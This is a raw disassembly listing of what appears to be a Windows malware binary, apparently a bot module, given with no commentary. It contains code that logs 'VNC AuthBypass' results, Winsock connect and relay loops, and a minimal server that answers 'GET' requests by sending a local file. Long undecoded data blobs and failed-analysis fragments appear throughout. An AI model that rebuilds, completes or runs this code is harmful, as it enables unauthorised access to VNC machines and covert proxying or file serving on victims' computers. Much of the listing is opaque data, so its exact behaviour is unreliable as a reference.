		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431418[eax]
		push	ebx
		lea	eax, dword_431418[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 26E0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		call	near ptr 26F0000h
		nop
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 2F1EAEE8h, 0FF509002h, 4CDCA835h, 0A0E89000h, 50022F1Eh
		dd 2F19E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433514h, 95E89057h, 8D022426h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	2619ABE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 261993E8h, 0FF6A9002h, 0FFF04589h, 9BE8D875h, 90022628h
		dd 0F075FF57h, 271FB7E8h, 0FF579002h, 0ADE8EC75h, 9002271Fh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E25A6h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 2C186BE8h
		dd 858B9002h, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 351C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22C1670h
		db 90h
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0E468156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0DC68FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337D4h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337BC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337B468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379C68h
		dd 8D61EB00h, 0FFFF5085h, 379468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 3784680Dh, 40EB0043h, 0FF50858Dh
		dd 7C68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	433764h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433744h
		dd 2F1E957h, 3CBF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43372468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433720h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 43370Ch, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433704h, 0D352E850h, 85590000h, 347559C0h
		dd 0D8BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0D068FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B8BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336B0h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368868h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43368068h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 433674h, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43365468h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364C68h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43362068h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 433604h, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35EC6817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35CC68FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A868206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C994h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 43358Ch, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2660EB7h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA34 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433824 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337FC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
